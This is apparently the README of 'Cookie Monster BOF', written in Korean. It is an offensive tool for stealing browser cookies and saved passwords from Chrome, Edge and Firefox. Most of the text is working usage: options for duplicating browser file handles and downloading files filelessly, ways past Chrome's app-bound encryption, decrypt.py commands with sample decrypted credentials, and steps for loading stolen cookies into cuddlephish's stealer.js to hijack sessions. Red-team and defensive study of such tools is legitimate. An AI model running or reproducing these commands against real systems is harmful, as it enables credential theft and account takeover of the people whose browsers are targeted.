
BOF 기반 도구로 Chrome, Edge, Firefox에서 브라우저 쿠키와 자격 증명을 추출하며, 핸들 복제 및 파일리스 다운로드 방식을 사용하고 오프라인 복호화를 지원합니다.
BOF를 통해 Edge, Chrome, Firefox의 브라우저 쿠키를 탈취하세요!
Cookie Monster BOF는 Edge와 Chrome의 WebKit Master Key와 App Bound Encryption Key를 추출하고, Cookies 및 Login Data 파일에 대한 핸들을 가진 브라우저 프로세스를 찾은 다음, 해당 핸들을 복사하고 대상 파일을 파일리스(fileless) 방식으로 다운로드합니다.
Cookies/Login Data 파일이 다운로드되면, 파이썬 복호화 스크립트를 사용하여 해당 비밀 정보를 추출할 수 있습니다! Firefox 모듈은 profiles.ini를 파싱하여 logins.json과 key4.db 파일의 위치를 찾고 다운로드합니다. 오프라인 복호화를 위해 별도의 GitHub 저장소가 참조됩니다.
Chrome & Edge 127+ 업데이트: 새로운 Chromium 브라우저 쿠키(v20)는 앱 바인딩 키(app bound key)를 사용하여 쿠키를 암호화합니다. 그 결과, app_bound_encrypted_key를 검색하는 것이 다소 어려워졌습니다. snovvcrash 덕분에 권한 상승 없이 이 과정을 수행할 수 있습니다. 단, 프로세스가 웹 브라우저의 애플리케이션 디렉터리에서 실행 중이어야 합니다. 즉, Chrome/Edge에 인젝션하거나 브라우저와 동일한 애플리케이션 디렉터리에서 비콘을 실행해야 합니다.
브라우저 프로세스에 인젝션하지 않고 SYSTEM으로 쿠키를 복호화하세요! Chrome의 PostProcessData 함수를 복호화하는 방법을 발견한 @sdemius와 @b1scoito의 설명에 감사드립니다! Chrome 137+에서 PostProcessData() 함수가 다시 변경되었으며, 이를 알아낸 @runassu에게 감사드립니다!
최신 업데이트에서는 @M1ndo 덕분에 Webkit Master Key 복호화가 추가되었습니다. 마스터 키는 앱 바인딩 키와 함께 자동으로 복호화됩니다. 이를 사용하려면 Python 복호화 스크립트에 키를 추가하세요. 이 키는 주로 로밍 프로필이 사용 중이거나 Edge에 저장된 비밀번호, 또는 오래된 저장된 비밀번호에 사용됩니다.
Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"]
cookie-monster Examples:
cookie-monster --chrome
cookie-monster --edge
cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
cookie-moster --firefox
cookie-monster --chromeCookiePID <PID>
cookie-monster --chromeLoginDataPID <PID>
cookie-monster --edgeCookiePID <PID>
cookie-monster --edgeLoginDataPID <PID>
cookie-monster Options:
--chrome, 실행 중인 모든 프로세스와 핸들을 확인하여 chrome.exe와 일치하는 프로세스가 있으면 쿠키 핸들을 복사한 후 현재 작업 디렉터리(CWD)로 파일을 복사합니다.
--edge, 실행 중인 모든 프로세스와 핸들을 확인하여 msedge.exe와 일치하는 프로세스가 있으면 쿠키 핸들을 복사한 후 현재 작업 디렉터리(CWD)로 파일을 복사합니다.
--system, 브라우저에 인젝션하지 않고 Chromium 기반 브라우저의 앱 바인딩 암호화 키를 복호화합니다. Local State 파일 경로와 가장(impersonation)할 사용자 프로세스의 PID가 필요합니다.
--firefox, profiles.ini를 찾아 key4.db와 logins.json 파일을 찾습니다.
--chromeCookiePID, Chrome PID가 제공되면 해당 프로세스가 쿠키에 대한 핸들을 가지고 있는지 확인하고, 해당 PID의 핸들을 복제하여 파일을 가져옵니다.
--chromeLoginDataPID, Chrome PID가 제공되면 해당 프로세스가 Login Data에 대한 핸들을 가지고 있는지 확인하고, 해당 PID의 핸들을 복제하여 파일을 가져옵니다.
--edgeCookiePID, Edge PID가 제공되면 해당 프로세스가 쿠키에 대한 핸들을 가지고 있는지 확인하고, 해당 PID의 핸들을 복제하여 파일을 가져옵니다.
--edgeLoginDataPID, Edge PID가 제공되면 해당 프로세스가 Login Data에 대한 핸들을 가지고 있는지 확인하고, 해당 PID의 핸들을 복제하여 파일을 가져옵니다.
--key-only, 앱 바인딩 암호화 키만 검색합니다. Cookie 또는 Login Data 파일을 다운로드하지 않습니다.
--cookie-only, Cookie 파일만 검색합니다. Login Data 파일을 다운로드하거나 앱 바인딩 암호화 키를 검색하지 않습니다.
--login-data-only, Login Data 파일만 검색합니다. Cookie 파일을 다운로드하거나 앱 바인딩 암호화 키를 검색하지 않습니다.
--copy-file, Cookie 및 Login Data 파일을 지정된 폴더에 복사합니다. 파일리스 검색 방식을 사용하지 않습니다.
컴파일 전에 Linux에 Mingw-w64와 make가 설치되어 있는지 확인하세요.
make
필요 패키지 설치
pip3 install -r requirements.txt
사용법
python3 decrypt.py -h
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]
Decrypt Chromium cookies and passwords given a key and DB file
options:
-h, --help show this help message and exit
-k KEY, --key KEY Decryption key
-o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
Option to choose
-f FILE, --file FILE Location of the database file
--chrome-aes-key CHROME_AES_KEY
Chrome AES Key
-mk MASTER_KEY, --master-key MASTER_KEY
Old key used in v10 passwords
예시: Chrome/Edge 쿠키 파일 복호화
python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db
Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22
Chrome AES 키로 Chrome 쿠키 복호화
python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json
Chrome/Edge 쿠키 파일 복호화 및 JSON 저장
python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json
https://cookie-editor.com/ 로 쿠키 JSON 파일 가져오기
Chome/Edge 비밀번호 파일 복호화
python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'
URL: https://test.com/
Username: adgf
Password: pass
Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty
Firefox 쿠키 및 저장된 자격 증명 복호화:
https://github.com/lclevy/firepwd
복호화 스크립트에 cuddlephish 옵션이 추가되었으며, https://github.com/fkasler/cuddlephish 와 함께 쿠키를 사용할 수 있습니다.
# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db
# Clone Project
cd
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish
# Install Dependencies Example on Debian
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install
# Import Cookies
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json
이 프로젝트는 Mr-Un1k0d3r와 그의 훌륭한 시즌별 비디오 도움 없이는 불가능했습니다! 그의 강의를 꼭 확인해 보세요!!!
Cookie Webkit Master Key 추출기:
https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
파일리스 다운로드:
https://github.com/fortra/nanodump
쿠키 및 로그인 데이터 복호화:
https://github.com/login-securite/DonPAPI
앱 바인딩 키 복호화:
https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824
Chrome 137+ 쿠키 복호화
https://github.com/runassu/chrome_v20_decryption